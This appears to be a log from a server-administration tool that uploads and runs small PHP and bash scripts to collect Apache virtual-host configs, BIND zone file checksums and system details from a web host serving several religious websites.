----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-available/christadelphia_www_net.conf	1431

<VirtualHost *:80>
    ServerName	christadelphia.net
    ServerAlias	www.christadelphia.net
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/christadelphia_www
    <Directory /var/www/christadelphia_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/christadelphia/www_access.log combined
    ErrorLog	/var/log/apache2/christadelphia/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	christadelphia.net
    ServerAlias	www.christadelphia.net
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/d91b2f0a4f6cfa0542190dabbd9574d1.crt
    DocumentRoot	/var/www/christadelphia_www
    <Directory /var/www/christadelphia_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/christadelphia/www_secure_access.log combined
    ErrorLog	/var/log/apache2/christadelphia/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>





----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-available/default-ssl.conf	4573
<VirtualHost *:443>
	ServerAdmin webmaster@localhost

	DocumentRoot /var/www/html

	# Available loglevels: trace8, ..., trace1, debug, info, notice, warn,
	# error, crit, alert, emerg.
	# It is also possible to configure the loglevel for particular
	# modules, e.g.
	#LogLevel info ssl:warn

	ErrorLog ${APACHE_LOG_DIR}/error.log
	CustomLog ${APACHE_LOG_DIR}/access.log combined

	# For most configuration files from conf-available/, which are
	# enabled or disabled at a global level, it is possible to
	# include a line for only one particular virtual host. For example the
	# following line enables the CGI configuration for this host only
	# after it has been globally disabled with "a2disconf".
	#Include conf-available/serve-cgi-bin.conf

	#   SSL Engine Switch:
	#   Enable/Disable SSL for this virtual host.
	SSLEngine on

	#   A self-signed (snakeoil) certificate can be created by installing
	#   the ssl-cert package. See
	#   /usr/share/doc/apache2/README.Debian.gz for more info.
	#   If both key and certificate are stored in the same file, only the
	#   SSLCertificateFile directive is needed.
	SSLCertificateFile      /etc/ssl/certs/ssl-cert-snakeoil.pem
	SSLCertificateKeyFile   /etc/ssl/private/ssl-cert-snakeoil.key

	#   Server Certificate Chain:
	#   Point SSLCertificateChainFile at a file containing the
	#   concatenation of PEM encoded CA certificates which form the
	#   certificate chain for the server certificate. Alternatively
	#   the referenced file can be the same as SSLCertificateFile
	#   when the CA certificates are directly appended to the server
	#   certificate for convinience.
	#SSLCertificateChainFile /etc/apache2/ssl.crt/server-ca.crt

	#   Certificate Authority (CA):
	#   Set the CA certificate verification path where to find CA
	#   certificates for client authentication or alternatively one
	#   huge file containing all of them (file must be PEM encoded)
	#   Note: Inside SSLCACertificatePath you need hash symlinks
	#         to point to the certificate files. Use the provided
	#         Makefile to update the hash symlinks after changes.
	#SSLCACertificatePath /etc/ssl/certs/
	#SSLCACertificateFile /etc/apache2/ssl.crt/ca-bundle.crt

	#   Certificate Revocation Lists (CRL):
	#   Set the CA revocation path where to find CA CRLs for client
	#   authentication or alternatively one huge file containing all
	#   of them (file must be PEM encoded)
	#   Note: Inside SSLCARevocationPath you need hash symlinks
	#         to point to the certificate files. Use the provided
	#         Makefile to update the hash symlinks after changes.
	#SSLCARevocationPath /etc/apache2/ssl.crl/
	#SSLCARevocationFile /etc/apache2/ssl.crl/ca-bundle.crl

	#   Client Authentication (Type):
	#   Client certificate verification type and depth.  Types are
	#   none, optional, require and optional_no_ca.  Depth is a
	#   number which specifies how deeply to verify the certificate
	#   issuer chain before deciding the certificate is not valid.
	#SSLVerifyClient require
	#SSLVerifyDepth  10

	#   SSL Engine Options:
	#   Set various options for the SSL engine.
	#   o FakeBasicAuth:
	#    Translate the client X.509 into a Basic Authorisation.  This means that
	#    the standard Auth/DBMAuth methods can be used for access control.  The
	#    user name is the `one line' version of the client's X.509 certificate.
	#    Note that no password is obtained from the user. Every entry in the user
	#    file needs this password: `xxj31ZMTZzkVA'.
	#   o ExportCertData:
	#    This exports two additional environment variables: SSL_CLIENT_CERT and
	#    SSL_SERVER_CERT. These contain the PEM-encoded certificates of the
	#    server (always existing) and the client (only existing when client
	#    authentication is used). This can be used to import the certificates
	#    into CGI scripts.
	#   o StdEnvVars:
	#    This exports the standard SSL/TLS related `SSL_*' environment variables.
	#    Per default this exportation is switched off for performance reasons,
	#    because the extraction step is an expensive operation and is usually
	#    useless for serving static content. So one usually enables the
	#    exportation for CGI and SSI requests only.
	#   o OptRenegotiate:
	#    This enables optimized SSL connection renegotiation handling when SSL
	#    directives are used in per-directory context.
	#SSLOptions +FakeBasicAuth +ExportCertData +StrictRequire
	<FilesMatch "\.(?:cgi|shtml|phtml|php)$">
		SSLOptions +StdEnvVars
	</FilesMatch>
	<Directory /usr/lib/cgi-bin>
		SSLOptions +StdEnvVars
	</Directory>
</VirtualHost>




(gzipped output)


MD5(/etc/apache2/ports.conf)= e0eadfd8b9250d90d5c3004171eb78f6
MD5(/etc/apache2/apache2.conf)= 354c9e6d2b88a0a3e0548f853840674c
MD5(/etc/apache2/sites-available/christadelphia_www_net.conf)= d50230857c3b9acc5338732f798718df
MD5(/etc/ssl/certs/d91b2f0a4f6cfa0542190dabbd9574d1.crt)= df6aa78712781dec31beb6c09d2f1cc1
MD5(/etc/apache2/sites-available/aletheiacollege_www_net.conf)= bbb9df455c874d52fdf2e48cc0dc8cd4
MD5(/etc/ssl/certs/5eb375246e856b10900412efba9b1585.crt)= c0f3a746d69dc7dae06b4213f780215c
MD5(/etc/apache2/sites-available/gospelstudies_www_net.conf)= 1824cf3bbbc69f725873aa0d890dfd9e
MD5(/etc/ssl/certs/9c0bc7e77c379755b26b0bae03e4a9f3.crt)= eb4801af6bcff512fc997af4d6479f68
MD5(/etc/apache2/sites-available/realdevil_www_info.conf)= 8b0ea35eac6ff603b8f2546bfc913db3
MD5(/etc/ssl/certs/2a6ddbe9e3dc02179c0a0d6b1925eaef.pem)= 572f6738b15bee5dab71a152a82de13f
MD5(/etc/apache2/sites-available/default-ssl.conf)= 58d23841f0ea37f6c3c1f1c7bda9c6d7
MD5(/etc/ssl/certs/ssl-cert-snakeoil.pem)= d4db50e85566d6ebf4bad026286adaf8
MD5(/etc/apache2/sites-available/000-default.conf)= 463c74ad4f321afac984489a9747a7ac
MD5(/etc/apache2/sites-available/heaster_www_org.conf)= 70a5f7463b7ff3d5cd7bae50a51e9426
MD5(/etc/ssl/certs/d76ac506d6f13662e06babf635b43fda.crt)= 06e7ba97444b6a8516c4eb7244750c0d
MD5(/etc/apache2/sites-available/osnovybiblii_www_info.conf)= 442beab0dcd7258fb1eb73e004da47be
MD5(/etc/ssl/certs/28fc54e1b5f7cd1c122e74906c55a106.crt)= 059d7c8345ce95f26166cda9e1e958e1
MD5(/etc/apache2/sites-available/hristadelfiane_www_org.conf)= ebef57a8fcb6dd0a8771f87b568e360d
MD5(/etc/ssl/certs/cb3ec3692863cad5b3b14321e7c0e518.crt)= e59cb6a76b4b7226b3d504e12ab00f8a
MD5(/etc/apache2/sites-available/hostz_jupiter_org.conf)= e475881e9f09892523c91866bf1ac6ca
MD5(/etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d)= 874711c92c0ffb273d597ea219d2397e
link(/etc/apache2/sites-enabled/christadelphia_www_net.conf)= /etc/apache2/sites-available/christadelphia_www_net.conf
link(/etc/apache2/sites-enabled/aletheiacollege_www_net.conf)= /etc/apache2/sites-available/aletheiacollege_www_net.conf
link(/etc/apache2/sites-enabled/gospelstudies_www_net.conf)= /etc/apache2/sites-available/gospelstudies_www_net.conf
link(/etc/apache2/sites-enabled/realdevil_www_info.conf)= /etc/apache2/sites-available/realdevil_www_info.conf
link(/etc/apache2/sites-enabled/000-default.conf)= /etc/apache2/sites-available/000-default.conf
link(/etc/apache2/sites-enabled/heaster_www_org.conf)= /etc/apache2/sites-available/heaster_www_org.conf
link(/etc/apache2/sites-enabled/osnovybiblii_www_info.conf)= /etc/apache2/sites-available/osnovybiblii_www_info.conf
link(/etc/apache2/sites-enabled/hristadelfiane_www_org.conf)= /etc/apache2/sites-available/hristadelfiane_www_org.conf
link(/etc/apache2/sites-enabled/hostz_jupiter_org.conf)= /etc/apache2/sites-available/hostz_jupiter_org.conf




STDERR:
/tmp/pkp825233:12: SyntaxWarning: invalid escape sequence '\s'
  match = re.search('sslcertificatefile\s+(.*?)$', v, flags=re.IGNORECASE)


2025-12-23 16:32:12: Establishing a connection
2025-12-23 16:32:21: Establishing a connection
2025-12-23 16:32:21: 

PUT: /tmp/pkp137219

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2025-12-23 16:32:21: 

runuser -l bind -s /bin/bash -c '/tmp/pkp137219; rm /tmp/pkp137219'

2025-12-23 16:32:21: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 375a64f534f63b93f1dcfccf9cc415bd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 4280f8c05bc7ff45d1502e829357c0b2
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 8035060c9ed3fa6a173f4ccf42dc82d5
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 8aba258068c8c60a7ade3952a285f57d
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2025-12-23 17:43:23: Establishing a connection
2025-12-23 17:43:31: Establishing a connection
2025-12-23 17:43:32: Performing Server Status
2025-12-23 17:43:32: 

PUT: /tmp/pkp525231

#!/bin/bash
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	cat $1 >> $temp_file
	echo >> $temp_file
}
show_hostname() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	hostname >> $temp_file
	echo >> $temp_file
}
show_arc() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	uname -m >> $temp_file
	echo >> $temp_file
}
show_uname() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	uname -r -s >> $temp_file
	echo >> $temp_file
}

if [ -f /etc/centos-release ]; then
